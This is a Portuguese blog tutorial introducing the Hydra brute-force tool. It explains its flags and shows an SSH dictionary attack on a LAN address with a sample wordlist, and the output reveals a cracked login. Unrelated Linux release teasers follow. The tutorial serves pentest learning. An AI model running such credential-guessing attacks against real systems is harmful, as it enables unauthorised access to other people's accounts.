Introdução ao Hydra – Brute Force

10/04/2019 14:00

Basicamente o Hydra descobre senha através de Brute Force (tentativa e erro), ele busca em wordlists possíveis usuários/senhas e vai testando as combinações, uma a uma. O Hydra tem suporte aos serviços Telnet, Formulário HTTP/HTTPS, SSH, MySQL, PostgreSQL, MSSQL, SMB, LDAP2 e LDAP3, FTP, SNMP, CVS,VNC, entre outros.

A ferramenta já vem toda instalada e configurada (inclusive com interface gráfica) no Back Track, porém caso não tenha instalado, basta fazer o download do código-fonte e compilá-la em qualquer distribuição.

Para isso acesse http://www.thc.org/thc-hydra/.

Conhecendo um pouco do Hydra

Abaixo segue alguns parâmetros:

-R Restaura sessões abordadas/quebradas.
-S Conexão segura usando SSL caso seja necessário.
-s Especifica qual porta o hydra vai estabelecer a conexão.

Sintaxe:

# hydra –l username –p password –t threads IP protocol
# hydra -L lista -P lista -t threads IP protocol

Explicação:

-l nome/login da vitima.
-L Carrega uma lista contendo nomes/logins de vitimas. (1 por linha)
-p Especifica senha única.
-P Carrega uma lista com senhas.(1 por linha)
-e ns adcional ‘n’ testa senha em branco || adicional ‘s’ testa user como pass.
-C Usado para carregar um arquivo contendo usuário:senha. formato usuário:senha
equivale a -L/-P.
-M Carrega lista de servidores alvos.(1 por linha)
-o Salva as senhas encontradas dentro do arquivo que você especificar.
-f Faz o programa parar de trabalhar quando a senha||usuário for encontrada[o].
-t Limita o numero de solicitações por vez.(default: 16)
-w Define o tempo máximo em segundos para esperar resposta do serv.(default: 30s)
-v / -V Modo verbose do programa. ‘V’ mostra todas tentativas.

Abaixo segue um exemplo com o protocolo SSH:

$ hydra –L /tmp/wordlist.txt -P /tmp/wordlist.txt 192.168.0.101 ssh

Ele irá efetuar um bruteforce com usuários presentes na lista e com as senhas presentes na lista wordlist.txt no servidor cuja IP é 192.168.0.101.

Bom, abaixo segue um “cat” de um “wordlist.txt”:

root@bt:/tmp# cat wordlist.txt
sempreupdate
hugo
diogo
danilo
paula
rosi
1234
mudar1234
P@ssw0rd
coracao
teste
teste123
root
root123
tux123
123tux

Você deve ter uma saída parecida com essa:

root@bt:/tmp# hydra -L /tmp/wordlist.txt -P /tmp/wordlist.txt 192.168.0.101 ssh
Hydra v6.5 (c) 2011 by van Hauser / THC and David Maciejak – use allowed only for legal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2012-09-03 15:17:16
WARNING: Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort…
[DATA] 16 tasks, 1 servers, 256 login tries (l:16/p:16), ~16 tries per task
[DATA] attacking service ssh on port 22
Warning: Timeout from child 0, restarting
Warning: Timeout from child 1, restarting
Warning: Timeout from child 2, restarting
Warning: Timeout from child 3, restarting
Warning: Timeout from child 4, restarting
Warning: Timeout from child 5, restarting
Warning: Timeout from child 6, restarting
Warning: Timeout from child 7, restarting
Warning: Timeout from child 8, restarting
Warning: Timeout from child 9, restarting
Warning: Timeout from child 10, restarting
Warning: Timeout from child 11, restarting
Warning: Timeout from child 12, restarting
Warning: Timeout from child 13, restarting
Warning: Timeout from child 14, restarting
Warning: Timeout from child 15, restarting
Warning: Timeout from child 0, restarting
Warning: Timeout from child 1, restarting
Warning: Timeout from child 2, restarting
Warning: Timeout from child 3, restarting
Warning: Timeout from child 4, restarting
Warning: Timeout from child 5, restarting
Warning: Timeout from child 6, restarting
Warning: Timeout from child 7, restarting
Warning: Timeout from child 8, restarting
Warning: Timeout from child 9, restarting
Warning: Timeout from child 10, restarting
Warning: Timeout from child 11, restarting
Warning: Timeout from child 12, restarting
Warning: Timeout from child 13, restarting
Warning: Timeout from child 14, restarting
Warning: Timeout from child 15, restarting
Warning: Timeout from child 0, restarting
Warning: Timeout from child 1, restarting
Warning: Timeout from child 2, restarting
Warning: Timeout from child 3, restarting
Warning: Timeout from child 4, restarting
Warning: Timeout from child 5, restarting
Warning: Timeout from child 6, restarting
Warning: Timeout from child 7, restarting
Warning: Timeout from child 8, restarting
Warning: Timeout from child 9, restarting
Warning: Timeout from child 10, restarting
Warning: Timeout from child 11, restarting
Warning: Timeout from child 12, restarting
Warning: Timeout from child 13, restarting
Warning: Timeout from child 14, restarting
Warning: Timeout from child 15, restarting
[22][ssh] host: 192.168.0.101 login: sempreupdate password: tux123 //AQUI ESTÁ!
Warning: Timeout from child 0, restarting
Warning: Timeout from child 1, restarting
Warning: Timeout from child 2, restarting
Warning: Timeout from child 3, restarting
Warning: Timeout from child 4, restarting
Warning: Timeout from child 5, restarting
Warning: Timeout from child 6, restarting
Warning: Timeout from child 7, restarting
Warning: Timeout from child 8, restarting
Warning: Timeout from child 9, restarting
Warning: Timeout from child 10, restarting
Warning: Timeout from child 11, restarting
Warning: Timeout from child 12, restarting
Warning: Timeout from child 13, restarting
Warning: Timeout from child 14, restarting
Warning: Timeout from child 15, restarting
Warning: Timeout from child 0, restarting
Warning: Timeout from child 1, restarting
Warning: Timeout from child 2, restarting
Warning: Timeout from child 3, restarting
Warning: Timeout from child 4, restarting
Warning: Timeout from child 5, restarting
Warning: Timeout from child 6, restarting
Warning: Timeout from child 7, restarting
Warning: Timeout from child 8, restarting
Warning: Timeout from child 9, restarting
Warning: Timeout from child 10, restarting
Warning: Timeout from child 11, restarting
Warning: Timeout from child 12, restarting
Warning: Timeout from child 13, restarting
Warning: Timeout from child 14, restarting
Warning: Timeout from child 15, restarting
Warning: Timeout from child 0, restarting
Warning: Timeout from child 1, restarting
Warning: Timeout from child 2, restarting
Warning: Timeout from child 3, restarting
Warning: Timeout from child 4, restarting
Warning: Timeout from child 5, restarting
Warning: Timeout from child 6, restarting
Warning: Timeout from child 7, restarting
Warning: Timeout from child 8, restarting
Warning: Timeout from child 9, restarting
Warning: Timeout from child 10, restarting
Warning: Timeout from child 11, restarting
Warning: Timeout from child 12, restarting
Warning: Timeout from child 13, restarting
Warning: Timeout from child 14, restarting
Warning: Timeout from child 15, restarting

Repare que ele testa várias combinações e retorna “Timeout” quando não consegue fechar a autenticação. Porém quando consegue ele retorna :

[porta][protocolo] host: IP login: “login correto” password: “senha correta” [22] [ssh] host: 192.168.0.101 login: sempreupdate password: tux123

Bom, essa foi apenas um introdução. Um abraço a todos.

Assuntos

Mais Notícias

Mais artigos

Lançamento Oracle

Novidades do Oracle Linux 9 update 5: mais segurança e desempenho

A Oracle lançou a versão mais recente de sua distribuição Linux, o Oracle Linux 9 Update 5, projetada para ambientes de computação distribuída e multicloud. Esta atualização está disponível para as plataformas x86_64 e aarch64, trazendo novos recursos, maior segurança e desempenho aprimorado, mantendo a compatibilidade binária total com o Red Hat Enterprise Linux. Principais […]

Captura de tela do desktop Emmabuntüs Debian Edition 5 com opções de ambiente XFCE e LXQt, mostrando o menu de aplicativos e uma janela de boas-vindas com instruções para selecionar o ambiente de trabalho preferido.

Acessibilidade

Distribuição Linux Emmabuntüs DE5-1.03: agora com suporte a braille e sustentabilidade em foco

O Coletivo Emmabuntüs anunciou, em 25 de novembro de 2024, o lançamento da atualização da sua distribuição GNU/Linux: Emmabuntüs Debian Edition 5 1.03. Baseada no Debian 12.8 Bookworm, esta versão reforça o compromisso do projeto com acessibilidade, sustentabilidade e facilidade de uso, oferecendo suporte tanto para 32 quanto 64 bits e compatibilidade com os ambientes […]

Tela inicial do AlmaLinux 9.5 com design colorido em tons de azul, rosa e laranja, mostrando o logotipo do AlmaLinux no canto inferior esquerdo e a barra de tarefas na parte inferior.

Atualização essencial

AlmaLinux 9.5 é lançado com novidades incríveis: confira agora

O AlmaLinux 9.5 acaba de ser lançado, consolidando-se como uma das distribuições Linux mais confiáveis e robustas para ambientes corporativos e de desenvolvedores. Com melhorias significativas em segurança, desempenho e suporte a hardware, esta versão reafirma o compromisso da comunidade com a entrega de uma solução gratuita, aberta e compatível com RHEL. Seja para servidores […]

Atualizações linux

Novidades do Rocky Linux 9.5: atualizações, melhorias e detalhes importantes

A equipe do Rocky Linux anunciou o lançamento da versão 9.5, consolidando sua posição como uma das principais opções de sistema operacional de código aberto para servidores. Esta atualização traz novas funcionalidades, correções importantes e melhorias de desempenho. Neste artigo, vamos explorar os destaques da versão 9.5, as instruções de upgrade e os recursos disponíveis […]

Novidades Red Hat

Red Hat Enterprise Linux 9.5: mais segurança e automação para a nuvem híbrida

O Red Hat Enterprise Linux 9.5 (RHEL 9.5) marca um avanço significativo na plataforma líder de sistemas operacionais empresariais. Com foco em segurança, automação e inovação, o lançamento responde às crescentes demandas de TI em ambientes híbridos, permitindo às organizações administrar suas cargas de trabalho de maneira mais eficiente e segura. O que há de […]

Lançamento tecnológico

Conheça o RELIANOID 7.5: distribuição Linux otimizada para load balancing

O RELIANOID 7.5 acaba de ser lançado, trazendo uma poderosa distribuição Linux para balanceamento de carga e gerenciamento de tráfego. Baseada no Debian Bookworm 12.8, essa atualização é projetada para garantir segurança robusta, maior estabilidade e uma experiência otimizada para profissionais de TI e desenvolvedores. Descubra como essa nova versão eleva o padrão para distribuições […]